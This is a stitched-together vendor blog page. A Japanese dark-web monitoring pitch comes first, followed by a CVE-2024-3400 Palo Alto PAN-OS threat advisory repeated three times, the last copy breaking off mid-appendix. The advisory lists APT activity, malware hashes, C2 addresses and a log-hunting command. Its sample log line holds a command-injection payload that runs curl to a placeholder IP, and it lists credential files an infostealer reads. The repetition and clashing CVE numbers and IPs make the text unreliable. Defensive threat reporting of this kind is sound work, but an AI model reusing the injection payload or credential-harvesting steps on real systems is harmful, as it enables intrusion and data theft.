これらの脅威に対処するために、TeamT5 は、ThreatVision を通じて包括的なディープウェブ、ダークウェブ・リスクモニタリングモジュールを提供しており、主に Weekly Alert と Tailored Report という 2 つの製品が含まれています。

#####Weekly Alert
Weekly Alert は、ディープウェブとダークウェブの自動化された週次スキャンを提供します。結果は、ThreatVision プラットフォームまたは電子メール経由で確認でき、CSV 形式でエクスポートして詳細な分析を行うことが可能です。これにより、企業は潜在的なリスクを迅速に特定して対応できます。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)
 

#####Tailored Report
Tailored Report は、脅威のリスク評価、最新の調査結果、緩和策の提案など、より深いレベルの分析を提供します。これには、APAC 地域のディープウェブ、ダークウェブサイト、ハッカーフォーラム、中国語圏のアンダーグラウンド コミュニティ、ソーシャルメディア、および人気のあるフォーラムが含まれます。レポート内容は、TeamT5 の専門アナリストが収集および分析した情報により充実しています。

##TeamT5 モニタリングの利点

- **定期的なモニタリング:** ディープウェブ、ダークウェブのリスクを迅速に特定します。
- **プロアクティブな対応**: 被害を最小化するための広報活動や業務調整を行う時間を提供します。
- **影響評価**: 侵害の影響を評価し、企業の評判を保護します。


 
##金融関連のサイバー犯罪活動の重点的な監視

TeamT5のモニタリング対象は、金融業界と電子商取引に関連する犯罪活動と、中国語を話すチャネルやコミュニティに焦点を当てています。ソースは専任のアナリストチームによって定期的に更新されており、40以上のディープウェブやダークウェブ、400以上のTelegramチャンネル、中国語を話す脅威行為者が使用する各種ソーシャルメディアプラットフォームが含まれます。

##包括的なレポート
ThreatVision プラットフォームは、次のような詳細なレポートを提供します。

- **漏洩データのリスト**:コンボリストおよび漏洩したデバイスから漏洩した認証情報の詳細

- **リスクの評価と提言**: リスクを軽減するための専門家による分析と実行可能な推奨事項の提言

##まとめ

今日のデジタル環境において、ダークウェブは世界中の企業に重大な脅威をもたらしています。しかし、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)を通じたTeamT5のディープ、ダークウェブ・リスクモニタリングを使用することで、企業はこれらのリスクをプロアクティブに監視し、軽減することができます。ダークウェブを理解ならびに脅威を評価し、タイムリーな対策を講じることで、企業はインターネットの暗い隅に潜む隠れた危険から業務、財務、評判を守ることができます。

サイバー脅威との戦いにおいて、知識と事前の対策は最大の味方とななります。

ダークウェブに光を当てる: データと評判の保護

>The following blog post is based on our April H2 Vulnerability Insights Report. 
>
>TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. Contact us for more information about our vulnerability intelligence.

## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

Alerts of Exploiting Palo Alto GlobalProtect: CVE-2024-3400

本文改寫自 2024 年 4 月第二期的漏洞情資報告（VIR 2024 April H2）。 TeamT5 漏洞研究團隊致力於針對重大漏洞提供即時的應對措施與緩解方案。如欲進一步了解 TeamT5 的漏洞情資報告，請[與我們聯繫](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)。

 

>**CVE-2024-3400: Palo Alto GlobalProtect 漏洞**
 
>CVE-2024-3400 為命令注入漏洞，存在於 Palo Alto Networks PAN-OS 軟體且有設置 GlobalProtect portal 之防火牆。該漏洞允許未經身份驗證的威脅行動者，執行任意程式碼，並以 root 權限，將惡意軟體部署到目標裝置。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)
hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```



### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 

3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/


>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect 漏洞

>この記事は、2024 年 4 月の脆弱性インテリジェンス レポートの第 2 号 (VIR 2024 April H2) を編集したものです。 TeamT5 脆弱性研究チームは、主要な脆弱性に対するリアルタイムの対応と軽減するためのソリューションの提供に取り組んでいます。 TeamT5 の脆弱性インテリジェンス レポートの詳細について知りたい方は、ぜひお問い合わせください。
>
>**CVE-2024-3400: Palo Alto GlobalProtect の脆弱性** 
>CVE-2024-3400 は、Palo Alto Networks PAN-OS ソフトウェアに存在するコマンドインジェクションの脆弱性であり、GlobalProtect ポータルのファイアウォールが設定されています。この脆弱性により、認証されていない攻撃者が root 権限で任意のコードを実行し、ターゲット デバイスにマルウェアを展開することが可能になってしまいます。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
